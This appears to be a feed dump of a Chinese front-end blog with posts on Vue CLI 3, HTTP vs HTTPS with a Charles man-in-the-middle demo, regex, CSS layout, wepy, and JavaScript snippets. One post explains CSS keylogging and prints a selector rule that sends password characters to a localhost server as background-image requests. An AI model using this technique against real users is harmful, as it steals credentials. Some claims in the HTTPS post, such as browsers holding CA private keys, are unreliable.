因整个直播相关业务较为庞大并且都是博主独立负责开发,涵盖主播及用户和不同端以及不同的直播模式(1v1 1v6 视频、课件H5直播等)以满足不同需求及场景,以及目前在着手忙公司其他项目上线,就先展现下项目最终效果 后期会整理出详细的代码实现过程,如有兴趣可以联系我邮箱期待与你分享,加油打工人~
这是用腾讯云IM通讯在小程序里面实现即时通讯的效果,已经上线,感兴趣的大佬可以通过邮箱和我联系,相互学习共同进步。
]]>尤雨溪:Vue 3.0 计划 掘金译文
Vue CLI 的包名称由 vue-cli 改成了 @vue/cli
1 | npm install -g @vue/cli |
关于项目创建,除了命令创建3.x还增加了图形化界面创建以及管理vue项目
在创建新项目时还可以混合选用多种集成
命令:vue create vueapp
1 | Vue CLI v3.0.3 |
1 | babel:javascript转译器,将最新版的js语法(es6、es7)转换为现阶段浏览器可以兼容的js代码 |
最后配置如下
1 | Vue CLI v3.0.3 |
图形化操作非常方便,我就不一步步演示了,主要懒得贴图 (°ー°〃)
1 | 执行npm命令 |
以上是项目根目录,3.x对比2.x文件结构明显精简了不少,多了一个public文件夹用于存放静态文件少了config、build等一系列的配置文件,这些配置文件都被放在了node_modules@vue文件下
根目录中多了一个.browserslist文件,可以指定项目的目标浏览器的范围
用于转译的 JavaScript 特性和添加CSS 浏览器前缀,可以减少兼容代码提高代码质量
如果想少一个文件,你也可以在package.json中添加browserslist字段,参数是一个数组
1 | 这是默认设置,兼容所有最新版本,不支持ie8以下 |
使用 npx browserslist 可以查看项目的浏览器兼容情况
将需要支持的目标浏览器参数放在文件中就好
在一个 Vue CLI 项目中,@vue/cli-service 安装了一个名为 vue-cli-service 的命令。
你可以在 npm scripts 中以 vue-cli-service、或者从终端中以 ./node_modules/.bin/vue-cli-service 访问这个命令
Vue CLI 项目有三个模式: development 模式用于启动,production 模式用于打包和e2e测试,test 模式用于unit测试
1 | 启动 |
为了兼容那些不支持js新特性的浏览器我们需要Babel转译,但转译后的代码笨重冗长,这次3.x提供了一个现代模式
1 | npx vue-cli-service build --modern |
这个命令会产生两个应用的版本:一个现代版的包,面向支持 ES modules 的现代浏览器,另一个旧版的包,面向不支持的旧浏览器
而且不需要我们手动去部署和设置什么,简直很贴心
<script type="module"> 在被支持的浏览器中加载;它们还会使用 <link rel="modulepreload">
进行预加载<script nomodule> 加载,并会被支持 ES modules
的浏览器忽略<script nomodule>
的修复会被自动注入在一个已经被创建好的项目中安装一个插件,使用vue add命令
每个 CLI 插件都会包含一个 (用来创建文件的) 生成器和一个 (用来调整 webpack 核心配置和注入命令的) 运行时插件
对于这种cli插件需要加入@vue的前缀,这个命令将 @vue/eslint 解析为完整的包名 @vue/cli-plugin-eslint,然后从 npm 安装它,调用它的生成器
1 | 插件添加 |
1 | 安装并调用 vue-cli-plugin-apollo,不带 @vue 前缀,该命令会换作解析一个 unscoped 的包 |
例:向所有 Sass 样式传入共享的全局变量
在根目录新建一个vue.config.js,加入以下配置
1 | module.exports = { |
在vue.config.js文件中加入’baseUrl: ‘./‘’
1 | module.exports = { |
虽然官方说这个文件会被 @vue/cli-service 自动加载,但如果你启动项目用的是npm run serve,那么你最好使用npx vue-cli-service serve重启一下
]]>说起 HTTP 协议让我想起了之前做的 socket 聊天,自己定义了一套规则 比如定义一个特殊字符 socket 读到了这个特殊字符 就代表这是一整句结束 显示到界面,发送文件还定义的是一个 Magic Number 告诉 socket 不要按照字符串解析了。
现在想起来 我当时做的事情就是自定义协议 用来规范客户端和服务端的通讯 而 HTTP 协议就是干这个事情的 来规范服务器和客户端的请求&响应标准。
HTTP 是基于 TCP/IP 协议,也叫超文本传输协议(HyperText Transfer Protocol) 默认端口 80。
在 《图解 HTTP》 书中指出正确的名字应该叫做 超文本转移协议。
请求&响应: 客户端发送请求 服务器响应请求
无状态(stateless): 在传输过程中 HTTP 不会保留之前的历史信息 等待服务器响应之后 断开连接 要传输数据时必须重新连接。
之所以 HTTP 设计足够简单 是为了更快的处理大量事务 确保协议的可伸缩性
因为无法保留用户的数据,所以后面引入了 cookie 机制 这里就不做介绍了。
在 HTTP 中一共 10 种命令(也就是我们现在所说的方法 Method) 来告诉服务器应该采用哪些方式处理
方法 | 说明 | 协议版本 |
---|---|---|
GET | 获取资源 | 1.0/1.1 |
POST | 传输实体主体 | 1.0/1.1 |
PUT | 传输文件 | 1.0/1.1 |
HEAD | 获取报文首部 | 1.0/1.1 |
DELETE | 删除文件 | 1.0/1.1 |
OPTIONS | 查看支持的方法 | 1.1 |
TRACE | 追踪路径 | 1.1 |
CONNECT | 连接代理 | 1.1 |
LINK 和 UNLINK 已经在 1.1 的版本中移除
这里最常用的还是 GET/POST 如果你的服务是 RESTful 接口 那应该会用到 PUT/DELETE/OPTIONS
在 HTTP 传输的信息叫做 HTTP 报文 ,报文是由 (报文首部) 和 (报文主体) 构成 它们就是由数据构成的字符串文本。
由于 HTTP 是明文传输,所以很容易遭到中间人攻击 ,所以使用了 SSL 来进行加密 HTTP 传输内容,SSL 和 HTTP 的组合使用 叫做 HTTPS。
它是在 HTTP 之上 添加了一层加密协议,客户端和服务端每一次传输的数据都需要经过一层特殊处理 即 加密/解密 所以在速度上逊于 HTTP,这个东西的目的只有一个: 保证你发送/接收的数据都是你的服务器在处理 ,因为在 HTTPS 没有出现之前 如何保证你接收的数据是来自你的服务器 是一个难题。
然而 SSL 并不是为了 HTTP 加密而开发的加密技术,SSL 最初是由网景公司开发 不认识?最先开发浏览器那家公司 ,3.0版本之后交给了 IETF。
我们大致了解了这两个协议之后 来看看这个 S 到底安全在哪里?
或许你现在正在遭受你的运营商使用中间人攻击 篡改数据 添加广告来实现盈利,这是经常发生的事情 但是放心 我的网站已加上了 HTTPS 所以不会出现这种情况。
如果你是 windows 可以使用 Wireshark,MacOs 使用大名鼎鼎的花瓶(Charles),
通过 Charles 进行拦截,拦截后我们能看到在 Charles 拦截时 HTTP 使用明文传输 所以我们可以利用并更改这些数据。
HTTP 在传输的过程中 是以明文传输的,如果这里面包含了你的密码 中间人一样的能够获取到并用你的身份来进行操作,尽管有的网站对密码进行了加密 中间人只需要获取到登陆之后的 cookie 即可 来完成身份的伪造。
这次就选用本站来做个演示。
能看到正常访问情况下 在地址的前面会带上一个小锁的标志,这代表当前的网站是安全的即使用了 HTTPS
按照同样的方法来进行中间人 但是在一开始的时候 就出现了问题
能看到在花瓶中 无法解析这个数据包 请求前面也有一个小锁的标志 接下来该怎么办呢?
这个时候就需要明白这个 S 到低做了什么?
HTTPS 是采用 SSL 的非对称加密算法也叫公开密钥密码。
所谓非对称加密算是指加密和解密的密钥都不是同一个,明文加密后能够获取到两个密钥 一个叫做公钥(public key)在互联网进行传输的,还有一个叫做私钥(private key) ,它们应该成套出现 需要注意的是 公钥和私钥都能够用来加密和解密
用公钥加密用私钥解密叫做加密传输
用私钥加密用公钥解密叫做认证签名
对称加密刚好是相反,它指加密和解密秘钥都是用的同一个,通过秘钥加密明文 也通过秘钥解密密文 这种算法安全性取决于秘钥的安全性 因为秘钥一旦丢失 获取到的密文可以直接进行解密 也就无任何安全可言了。
在 HTTPS 中,如果使用了对称加密算法 那如何保证秘钥安全的送达客户端?我们又好像回到了最开始的问题 ,如果不发送秘钥 浏览器拿到了密文也无法进行解密 ,发送了秘钥中间人也能获取到 那就无意义了 这是一个死循环。
为了大家更好的理解非对称加密的特点,我举一个例子。
我生成了一套密钥,并把公钥写在了我的网站上。(公钥公开 私钥保留)
你现在想给我发送邮件,但是想加密邮件的内容 所以就使用了我的公钥加密了邮件的内容 并且给我发了过来
我收到邮件后发现是一串密文,我尝试用我的私钥解密 发现解开了 这个时候我就知道有人用我的公钥给我发送了邮件
以上就完成一次数据的加密传输,尽管私钥和公钥在数学上面有一些关联 但是想要破解真的是太难了。
由于 SSL 有两个密钥,发送的密文使用公钥进行加密的 私钥并不会传递 所以就有了第三方的数组认证机构 (CA,Certificate Authority),而现代浏览器比如 Chrome 在开发时就会注入主流的认证机构密钥(公钥和私钥),所以我们如果想要给网站加上 HTTPS 支持 只需要向第三方机构申请安全证书即可 剩下的浏览器会帮我们处理。
即使这样真的可以防止中间人攻击吗?你如何保证第三方认证机构不会把证书授权给那些不法分子呢?因为信仰不同? 你想多了 只要赚钱 这些第三方一样的会把证书发布给他们。在花瓶中 是能够处理 HTTPS 的数据包 因为花瓶自带了证书(笑)
先来打开 SSL 代理
看到了吗?我们一样能够获取到内容,那有的人就会问了 不是说 HTTPS 可以保证安全吗?为什么还能够进行中间人攻击? 接下来就要介绍 SSL 的第二个特征
上面说到过 ,使用私钥加密用公钥解密的表示认证签名 还是举一个例子来说明
我发布了一篇文章,这个时候如何证明文章是我本人发的?我会在文章最底部留下一串密文
这个密文是通过文章内容 MD5 之后的密文 然后再通过我的私钥加密的
private_key.encode(MD5.encode(article.content));
大家因为都有我的公钥,所以去尝试解密 如果这里解密失败 不用想了 不是我发的,如果解密成功发现得到了一串 MD5 然后自己加密文章内容 看一看出来的结果是不是我给的 MD5 如果正确就代表这篇文章确实是我本人发的 如果不正确就是被中间人修改了。
因为中间人并不知道我的私钥,一旦文章的内容发生改变 MD5 值就会发生改变,匹配不上 大家自然知道这个文章并不是本所发 如果这个时候中间人自作聪明独自修改了我给的密文 ,那就更简单了 只要它修改了 大家都有我的公钥 通过我的公钥必定解密失败 解密都失败了 那就更不是本人发的了。
这个就是数字证书的作用: 确保数据不被中间人修改。
介绍完了数字证书,继续演示中间人攻击
如果你使用的是 Chrome
能看到浏览器已经知道当前网站被中间人攻击了。
因为 HTTPS 在性能上远不如 HTTP,大概是 2-100 倍 但是使用者基本感觉不到 为什么? 因为1毫秒的100倍也才100毫秒 谁能感觉到呀!
不过 HTTPS 还是给出了一个比较合理的解决方法,即混淆加密。
什么是混淆加密?我在来举个例子
我和一个小伙伴使用加密的方式聊天,比如使用微信
但是我发现每次都要用私钥解密 公钥加密就太麻烦了呀!
所以我们规定 在第一次发送消息的时候 我们采用非对称加密的方式,然后把对称加密方式的密钥放进来(比如 DES)
后面我们聊天就不用这么麻烦了,因为我们拿到了一个对称加密的密钥 后面的消息过来只需要 decode 就行了 也不用验证是不是对方发过来的 ,因为每次的首次会话 都会改变对称密钥 这样轻松多了。
最近在知乎上面看了这个问题,所谓 无知者无畏 为什么我们不能自己造轮子呢?
我们自己定义一套协议 并且不公开 只有公司自己知道加密方式和解密方式 有没有这个可能?
我想这个问题 没有对错 有兴趣的同学可以去知乎看看。
真实的情况可能远远比我文章说的复杂,但是希望这篇文章能让你基本了解 http 和 https 的区别,学无止境。
]]>前言:这里的简单是只实现网站根目录的访问,一个完整的 WEB 服务器实现是很复杂的 可参考 nginx。
WEB 服务器的原理是先监听一个 Socket 端口,当 TCP 请求完成握手之后 然后根据 HTTP 协议完成通讯。
1 | HTTP_PORT = 9999 |
之后可以考虑使用 NIO 实现。
以上就是全部的代码,这里监听的是 9999 端口,设置网站根目录为: /Users/kanshan/gitProjects/Coder,改兴趣可以拷贝到 app.groovy 中,使用 groovy app.groovy 运行。
]]>前言: 本来是在看着阿树博客里的js规范的,不知道怎么搞得,稀里糊涂的就看到正则去了,把学到的东西总结一下。
1 | "abcd".match(/(a(bc)d)/); |
这个例子说明看括号匹配顺序是按左括号计算的。(这是别人的理解,我的理解是匹配顺序是按从外到里从左到右计算的,每个反向引用都由一个编号或名称来标识,并通过“\编号”表示法进行引用,外面的组的编号靠前。也就是说引用分组是编号排列是从外到内编排。)
1 | 'aaa'.match(/(a\1)/); |
由这个例子可以看出/(a\1)/在第一个括号中使用\1引用是没有意义的,同时在chrome中的测试结果表明,无论在第n个括号中有几个\n都会被忽略。(既从最外层括号往里层数)
基于上述两个例子的解读,咱们可以把下边的例子进行转换
1 | 'aaabbbcccdddeeefff'.match(/[abc]\1/g);//null |
可简化为
1 | 'aaabbbcccdddeeefff'.match(/[abc]\1/g);//null |
前言:这个探究主要源于ife任务6的一个布局困扰,继而产生以下这些探究及结论,如解释有误或有新的见解,请及时与我联系,谢谢大家的捧场。
有需求才会有解决方案,那么,这个需求是什么呢?
这是任务6布局的两个点
review了许多同学的代码,实现方式基本局限于两种,position定位、float+内外边距再者就是两者结合,那么又没有第三种更为简单的适合的方法呢?
答案是有的,那就是基于inlink-block+vertical-align的方式
什么是inline-block相信大家比我还要清楚,但用来布局的话还有几个重要的点需要大家着重注意的:
inline-block是行内块级元素,因此这种布局仅适用于单排布局(这点大家应该不会有太多异议吧)
inline-block布局+vertical-align的关键点在于valign特性的使用,因此对于vertical-align的理解尤为关键(具体可参照张鑫旭大神关于vertical-align的理解)
基于上述技术,我写了一个新的解决方法,具体如下:
html代码部分:
1 | <header class="header"> |
css代码部分:
1 | /*头部*/ |
原理其实很简单,利用伪元素去做基准线,然后其它元素以伪元素为基准进行排布,方便快捷,更重要的是这种方式维护起来也跟方便
]]>写的不好的地方请大家多多包涵,也请大家不吝啬给出意见,共同学习,共同进步,谢谢大家!
2018这一年说快也不快,说慢也不慢,风风火火的赶了几个月项目,期间又不间断的穿插 H5 营销项目的开发,说实在的,个人并不喜欢快餐式的开发,任何一个惊艳全场的产品势必需要经过千锤百炼。
很庆幸,今年研发的主要精力放在产品上,有机会对现有项目进行迭代改造,从 vue1 到 vue2,从代码杂乱无章到 eslint 规范编码,从 bug 百出到单元测试,一步步规范工作流程,一步步朝正规军方向前进。唯一的遗憾是没能在项目中孵化点什么开源项目来,总归差了点什么。
在今年的后半段,开始负责前端开发小组的日常管理,埋头撸了一年代码抬头才发现自己对管理一窍不通,再加之生性放浪,不愿受约束更不愿约束别人,很多时候工作都有点乱糟糟的感觉。哎,躲了这么多年,终归得面对,是时候吭哧吭哧的补一波管理能力了。
今年后半段还带了一个实习生(玉米)妹子,由于第一次带实习生,再加上妹子以及指导经验的缺失,导致前期过份放松,后期又不停施压的情况发生,妹子承受不了请辞,想来也是我的责任吧!抽时间得好好反思下。
2018对于学习来说算是一个半糟糕的一年,技能较之去年并无明显进步,仅有岁数。
追随 vue 从 2 到现在 3,回头才发现把其余两大框架都给落下了,19年得在这基础上好好补补。
去年立的前端可视化(canvas、webGL)的 flag还没能填上,希望18年能把坑给填咯。
原定计划用来补充基本知识的书籍 《深入理解计算机系统》《算法导论》《TCP/IP协议》 迟迟没有开封(- -贼尴尬)。
通过 《鸟哥的Linux私房菜》 补充了下 linux 的基础,买了自己的服务器,也搭建了自己的个人站点,但关于 linux 的知识还是需要进一步加强。
今年通过同步翻译官方文档去学习强化 node.js,虽然最后翻译阉割了,但还是学到了很多服务端的知识,遗憾的是不熟悉 c++ ,无法进一步学习源码。
18年没看几本书,绝大部分还都是技术书籍,不过庆幸还读完了《与中国打交道》这本书,尝试着用不同的角度去看待世界。
来年的想读的书基本在微信读书上,希望能有机会把书架看完。
今年发生了两件影响我生活的大事,第一件的是正式从小伙伴们因为工作打散,开始了独租生活,除了电脑还是电脑,有时候还真有点落寞。第二件事呢,则是在茫茫人海捞到了我家领导,正式脱离广大程序猿队伍(A_A)。
2018吧,忧喜参半,2019呢,前路漫漫,他大爷还是他大爷,挖的坑,该填还是得填!
]]>前言:wepy框架类似Vue的MVVM开发模式,并且支持promise与ES7 asnyc异步函数,记录一下项目开发过程中遇到的坑
由于minUI与wepy框架兼容性较好,而且支持单组件导入,所以选择了minUI,使用方式官网有写,需要的组件直接npm安装即可,不过要注意的是,它的form组件对form表单提交支持性并不好,如果想要提交表单还是建议原生或者使用异步提交:
小程序组件系统中组件是隔离的,所以提交表单时无法用 form 表单获取输入框中的值,只能单独获取
minUI中的button组件并不支持disabled禁用(或者我没看懂文档,至少直接写disabled不行)。
minUI中的很多组件样式是无法通过style或者class控制的,所以如果有需要,可以进入packages,找到组件的wxss自行添加。
minUI可以和原生组件一起使用,例如原生scroll-view+minUI中的list。
这个参考一位大佬所写的方法:
https://blog.csdn.net/juzipidemimi/article/details/81807110
需要注意的是,我是将开源中的项目down下来直接复制了charts文件夹,其中每一个charts的组件中,存在一个initChart方法,它是用来代替原来的ec:{},原理在文章中有写,这个方法被写在了methods(){}中,如果你想通过后台数据实现动态刷新图表,可以使用ES7的async将你的request变为异步函数,最后在.then中进行initChart,否则如果请求的时间在initChart之后,图表是不会渲染出来的,因为数据没有请求到。
目前项目顺利开发完成,上传的dist目录结构:
注:index.template.html不会被上传
]]>在 github 上闲逛,发现了一个很有趣的项目,叫 CSS-Keylogging,这是一个演示如何用 css 去获取用户输入的密码的项目,这个项目与之前前的另外一个很火的项目 CrookedStyleSheets 类似,甚至于有可能 CSS-Keylogging 就是受 CrookedStyleSheets 启发才创建的。
说到 css,大多数人的第一印象基本上就是用来配置界面样式的,甚至于连语言都称不上,但随着 web 技术的不停发展,其所具有的能力也与日俱新,不再是当初那个仅仅满足最基本布局需求的层叠样式表了,至于新的属性新的功能点笔者也了解不全,在这里也不便展开了。
话题回到不一样的 css 上,github 上 jbtronics 给出了这样一份答案 CrookedStyleSheets,在这里笔者直接给上该项目的中文文档,该文档上有一段关于输入监测的段落,请详细阅读完,如果早已看过请跳过继续看本文的后续部分。
CSS-Keylogging 项目使用 css 监听键盘记录的方式一致,基本上是通过 css 选择器去实现功能,CSS-Keylogging 更为巧妙的使用多重选择器去捕获相应的按键事件。
核心代码如下:
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }
解释如下
当 type 为 ‘password’ 的输入框的输入的最后一个字符为 ‘1’ 时使用 url 为 http://localhost:3000/1 的背景图,css 在这种情况下会尝试进行 get 请求获取资源,这样的话,服务端就能接收到来至客户端发送的 get 请求。
当 value$=”1” 时,我们可以监听用户输入 1,那如果我们监听键盘上所有的按键字符,那我们是不是就可以监听用户的所有按键输入了?答案是可以,该项目使用 go 脚本遍历 ascii 码表,将所有键盘可输入按键字符均进行捕获,生成如下样式表:
当然也可以用使用 nodejs 去生成样式表,至今不明白作者为什么用 node 搭服务器然后用 go 写脚本。。。有兴趣的同学可以将项目 clone 下来跑起来试试。
##总结
为了避免有目的性的劫持注入,请尽快升级 https ,预防这种情况的发生,网络安全无处不在,希望不要选择性的去忽视它。
]]>使用 Array.concat() 来连接参数中的任何数组或值。
1 | const arrayConcat = (arr, ...args) => arr.concat(...args); |
以 b
创建 Set
,然后使用 Array.filter()
过滤,只保留 b
中不包含的值。
1 | const difference = (a, b) => { const s = new Set(b); return a.filter(x => !s.has(x)); }; |
以 b
创建 Set
,然后使用 Array.filter()
过滤,只保留 b
中包含的值。
1 | const intersection = (a, b) => { const s = new Set(b); return a.filter(x => s.has(x)); }; |
用 a
和 b
的所有值创建一个 Set
并转换成一个数组。
1 | const union = (a, b) => Array.from(new Set([...a, ...b])); |
使用 Array.reduce() 将每个值添加到一个累加器,用值 0 初始化,除以数组的长度。
1 | const average = arr => arr.reduce((acc, val) => acc + val, 0) / arr.length; |
使用 Array.from()
创建一个满足块的数量的新的数组。
使用 Array.slice()
将新数组的每个元素映射到 size
长度的块。
如果原始数组不能均匀分割,最后的块将包含剩余的元素。
1 | const chunk = (arr, size) => |
使用 Array.filter()
去过滤掉假值(false, null, 0, "", undefined 和 NaN
)。
1 | const compact = (arr) => arr.filter(v => v); |
使用 Array.reduce()
去迭代数组,当值相同时,递增计数器。
1 | const countOccurrences = (arr, value) => arr.reduce((a, v) => v === value ? a + 1 : a + 0, 0); |
使用递归。
使用 Array.reduce()
获取所有不是数组的值,并将数组展开。
1 | const deepFlatten = arr => |
循环访问数组,使用 Array.shift()
删除数组的第一个元素,直到函数的返回值为 true
,返回其余的元素。
1 | const dropElements = (arr, func) => { |
使用 Array.map()
将 start(包含)
和 end(不包含)
之间的值映射为 value
。
省略 start
将从第一个元素开始/省略 end
将在数组最后结束。
1 | const fillArray = (arr, value, start = 0, end = arr.length) => |
使用 Array.filter()
保证数组仅包含唯一值。
1 | const filterNonUnique = arr => arr.filter(i => arr.indexOf(i) === arr.lastIndexOf(i)); |
使用递归去递减深度。
使用 Array.reduce()
和 Array.concat()
来合并元素或数组。
基本情况下,当深度为 1 时停止递归。
省略第二个参数,展开深度为 1。
1 | const flattenDepth = (arr, depth = 1) => |
使用 Array.reduce()
来获取内部所有元素并用 concat()
合并它们。
1 | const flatten = arr => arr.reduce((a, v) => a.concat(v), []); |
使用 Math.max()
配合 … 扩展运算符去获取数组中的最大值。
1 | const arrayMax = arr => Math.max(...arr); |
使用 Math.max() 配合 … 扩展运算符去获取数组中的最小值。
1 | const arrayMin = arr => Math.min(...arr); |
使用 Array.map() 将数组的值映射到函数或属性名称。
使用 Array.reduce() 创建一个对象,其中的键是从映射的结果中产生的。
1 | const groupBy = (arr, func) => |
使用 arr[0] 返回传递数组的第一个元素。
1 | const head = arr => arr[0]; |
使用 arr,slice(0, -1) 去返回去除最后一个元素的数组。
1 | const initial = arr => arr.slice(0, -1); |
使用 Array(end-start) 创建一个所需长度的数组,使用 Array.map() 来填充范围中的所需值。
你可以省略start,默认值为 0。
1 | const initializeArrayRange = (end, start = 0) => |
使用 Array(n) 创建一个所需长度的数组,使用 fill(v) 去填充所需要的值。
亦可以省略 value,默认值为 0。
1 | const initializeArray = (n, value = 0) => Array(n).fill(value); |
使用 arr.slice(-1)[0] 获得给定数组的最后一个元素。
1 | const last = arr => arr.slice(-1)[0]; |
找到数组的中间,使用 Array.sort() 对值进行排序。
如果长度是奇数,则返回中点处的数字,否则返回两个中间数字的平均值。
1 | const median = arr => { |
使用 Array.slice() 得到一个包含第一个元素的数组。
如果索引超出范围,则返回 []。(译者注:超过索引返回 undefind)
省略第二个参数 n 来获取数组的第一个元素。
1 | const nth = (arr, n=0) => (n>0? arr.slice(n,n+1) : arr.slice(n))[0]; |
使用 Array.reduce() 去过滤/挑选存在于 obj 中的 key 值,并转换回相应的键值对的对象。
1 | const pick = (obj, arr) => |
使用 Array.sort() 在比较器中使用 Math.random() 重新排序元素。
1 | const shuffle = arr => arr.sort(() => Math.random() - 0.5); |
使用 filter() 移除不是 values 的一部分的值,使用 includes() 确定。
1 | const similarity = (arr, values) => arr.filter(v => values.includes(v)); |
使用 Array.reduce() 去迭代值并计算累计器,初始值为 0。
1 | const sum = arr => arr.reduce((acc, val) => acc + val, 0); |
如果数组的长度大于1,则返回 arr.slice(1),否则返回整个数组。
1 | const tail = arr => arr.length > 1 ? arr.slice(1) : arr; |
使用 Array.slice() 从头开始创建 n 个元素的数组。
1 | const take = (arr, n = 1) => arr.slice(0, n); |
使用ES6 Set 和 …rest 运算符去除所有重复的值。
1 | const unique = arr => [...new Set(arr)]; |
Bottom visible (底部可见即滚动至底部)
使用 scrollY,scrollHeight 和 clientHeight 来确定页面的底部是否可见。
1 | const bottomVisible = _ => |
使用 window.location.href 来获取当前链接地址。
1 | const currentUrl = _ => window.location.href; |
使用 Element.getBoundingClientRect() 和 window.inner(Width|Height) 值来确定给定的元素在视口中是否可见。
第二个参数用来指定元素是否要求完全可见,指定 true 即部分可见,默认为全部可见。
1 | const elementIsVisibleInViewport = (el, partiallyVisible = false) => { |
如果存在,使用 pageXOffset 和 pageYOffset,否则使用 scrollLeft 和 scrollTop。
你可以省略 el,默认使用 window。
1 | const getScrollPos = (el = window) => |
使用 window.location.href 或者 window.location.replace() 去重定向到 url。
第二个参数用来控制模拟链接点击(true - 默认)还是 HTTP 重定向(false)。
1 | const redirect = (url, asLink = true) => |
使用 document.documentElement.scrollTop 或 document.body.scrollTop 获取到顶端的距离。
从顶部滚动一小部分距离。 使用 window.requestAnimationFrame() 实现滚动动画。
1 | const scrollToTop = _ => { |
Get days difference between dates (获取两个日期间的差距)
计算两个 Date 对象之间的差距(以天为单位)。
1 | const getDaysDiffBetweenDates = (dateInitial, dateFinal) => (dateFinal - dateInitial) / (1000 * 3600 * 24); |
Chain asynchronous functions (链式异步函数)
循环遍历包含异步事件的函数数组,当每个异步事件完成时调用 next。
1 | const chainAsync = fns => { let curr = 0; const next = () => fns[curr++](next); next(); }; |
使用递归。
如果提供的参数(args)的数量足够,则调用传递的函数 fn,否则返回一个柯里化函数 fn,等待传入剩下的参数。
如果你想要一个接受参数数量可变的函数(一个可变参数函数,例如Math.min()),你可以选择将参数个数传递给第二个参数 arity。
1 | const curry = (fn, arity = fn.length, ...args) => |
使用 Array.reduce() 让值在函数间流通。
1 | const pipe = (...funcs) => arg => funcs.reduce((acc, func) => func(acc), arg); |
使用 currying 返回一个函数,返回一个调用原始函数的 Promise。
使用 …rest 运算符传入所有参数。
In Node 8+, you can use util.promisify
Node 8 版本以上,你可以使用 util.promisify
1 | const promisify = func => |
使用 Array.reduce() 通过创建一个 promise 链来运行一系列 promise,每个 promise 在解析时返回下一个 promise。
1 | const series = ps => ps.reduce((p, next) => p.then(next), Promise.resolve()); |
通过返回一个 Promise 延迟执行 async 函数,把它放到睡眠状态。
1 | const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); |
Collatz algorithm (考拉兹算法)
如果 n 是偶数,返回 n/2,否则返回 3n+1。
1 | const collatz = n => (n % 2 == 0) ? (n / 2) : (3 * n + 1); |
使用 Matg.hypot() 来计算两点间的欧式距离。
1 | const distance = (x0, y0, x1, y1) => Math.hypot(x1 - x0, y1 - y0); |
使用模运算符(%)来检查余数是否等于 0。
1 | const isDivisible = (dividend, divisor) => dividend % divisor === 0; |
使用模运算符(%)来计算一个数为偶数还是奇数。
返回 true 为偶数,返回 false 则为奇数。
1 | const isEven = num => num % 2 === 0; |
使用递归。
如果 n 小于或等于 1,返回 1。
其它情况,则返回 n 和 n-1 的阶乘的积。
1 | const factorial = n => n <= 1 ? 1 : n * factorial(n - 1); |
创建一个指定长度的空数组,初始化前两个值(0和1)。
使用 Array.reduce() 将最后两个值的总和添加到数组中(前两个除外)。
1 | const fibonacci = n => |
使用递归。
基本情况是如果 y 等于 0,则返回 x。
其它情况下,返回 y 与 x/y 的最大公约数。
1 | const gcd = (x, y) => !y ? x : gcd(y, x % y); |
使用 异或 运算符(^)去查找两个数值间的位差,使用 toString(2) 转换为二进制值,使用 match(/1/g) 计算并返回字符串中 1 的数量。
1 | const hammingDistance = (num1, num2) => |
使用百分比公式计算给定数组中有多少个数小于或等于给定值。
使用Array.reduce()计算值的下面有多少个数是相同的值, 并应用百分比公式。
1 | const percentile = (arr, val) => |
使用 Array.reduce() 与 Array.map() 结合来迭代元素并将其组合成一个包含所有组合的数组。
1 | const powerset = arr => |
使用 Math.round() 和字符串模板将数字四舍五入到指定的位数。
省略第二个参数,decimals 将四舍五入到一个整数。
1 | const round = (n, decimals=0) => Number(`${Math.round(`${n}e${decimals}`)}e-${decimals}`); |
Use Array.reduce() to calculate the mean, variance and the sum of the variance of the values, the variance of the values, then
determine the standard deviation.
You can omit the second argument to get the sample standard deviation or set it to true to get the population standard deviation.
使用 Array.reduce() 来计算平均值,方差以及方差之和,然后确定标准偏差。
您可以省略第二个参数来获取样本标准差或将其设置为 true 以获得总体标准差。
1 | const standardDeviation = (arr, usePopulation = false) => { |
Speech synthesis (experimental) 语音合成(试验功能)
使用 SpeechSynthesisUtterance.voice 和 indow.speechSynthesis.getVoices() 将消息转换为语音。
使用 window.speechSynthesis.speak() 来播放消息。
了解更多关于 SpeechSynthesisUtterance interface of the Web Speech API.
1 | const speak = message => { |
Object from key-value pairs (键值对创建对象)
使用 Array.reduce() 创建和组合键值对。
1 | const objectFromPairs = arr => arr.reduce((a, v) => (a[v[0]] = v[1], a), {}); |
使用 Object.keys() 和 Array.map() 去遍历对象的键并生成一个包含键值对的数组。
1 | const objectToPairs = obj => Object.keys(obj).map(k => [k, obj[k]]); |
使用 …spread 扩展运算符将目标对象的属性添加到拷贝对象中。
1 | const shallowClone = obj => ({ ...obj }); |
Anagrams of string (with duplicates) (字符串异位(和重复))
使用递归。
遍历给定字符串中的每个字母,用其余字母创建所有部分字母。
使用 Array.map() 将字母与每个部分字母组合,然后使用 Array.reduce() 将所有字母组合到一个数组中。
当给定字符串数量等与 2 或 1 时做简单处理。=
1 | const anagrams = str => { |
使用 replace() 去查找单词的第一个字母并使用 toUpperCase() 改为大写。
1 | const capitalizeEveryWord = str => str.replace(/\b[a-z]/g, char => char.toUpperCase()); |
使用 slice(0,1) 和 toUpperCase() 将首字母大写,使用 slice(1) 得到字符串的其余部分。
忽略 lowerRest 参数以保持字符串的其余部分不变,或者将其设置为 true 以转换为小写字母。
1 | const capitalize = (str, lowerRest = false) => |
使用 toLowerCase() 转换字符串并用 replace() 删除其中的非字母数字字符。
然后,使用 split(‘’) 分散为单个字符,再使用 reverse() 和 join(‘’) 倒序合并后与原字符进行比较。
1 | const palindrome = str => { |
使用数组解构和 Array.reverse() 来反转字符串中字符的顺序。
使用 join(‘’) 组合字符获得一个字符串。
1 | const reverseString = str => [...str].reverse().join(''); |
使用 split(‘’) 切割字符串,使用 Array.sort 通过 localeCompare() 去排序,再使用 join(‘’) 组合。
1 | const sortCharactersInString = str => |
确定字符串的长度是否大于 num。
将字符串截断为所需的长度,在末尾或原始字符串后附加 …。
1 | const truncate = (str, num) => |
Escape regular expression (转义正则表达式)
使用 replace() 去转义特殊字符。
1 | const escapeRegExp = str => str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); |
返回值的构造函数名称的小写字符,值为 undefined 或 null 时则返回 undefined 或 null。
1 | const getType = v => |
使用 Array.isArray() 去检查值是否为数组。
1 | const isArray = val => !!val && Array.isArray(val); |
使用 typeof 去检查值是否为原始布尔值类型。
1 | const isBoolean = val => typeof val === 'boolean'; |
使用 typeof 去检查值是否为函数原始类型。
1 | const isFunction = val => val && typeof val === 'function'; |
使用 typeof 去检查值是否为数值原始类型。
1 | const isNumber = val => typeof val === 'number'; |
使用 typeof 去检查值是否为字符串原始类型。
1 | const isString = val => typeof val === 'string'; |
使用 typeof 去检查值是否为 symbol 原始类型。
1 | const isSymbol = val => typeof val === 'symbol'; |
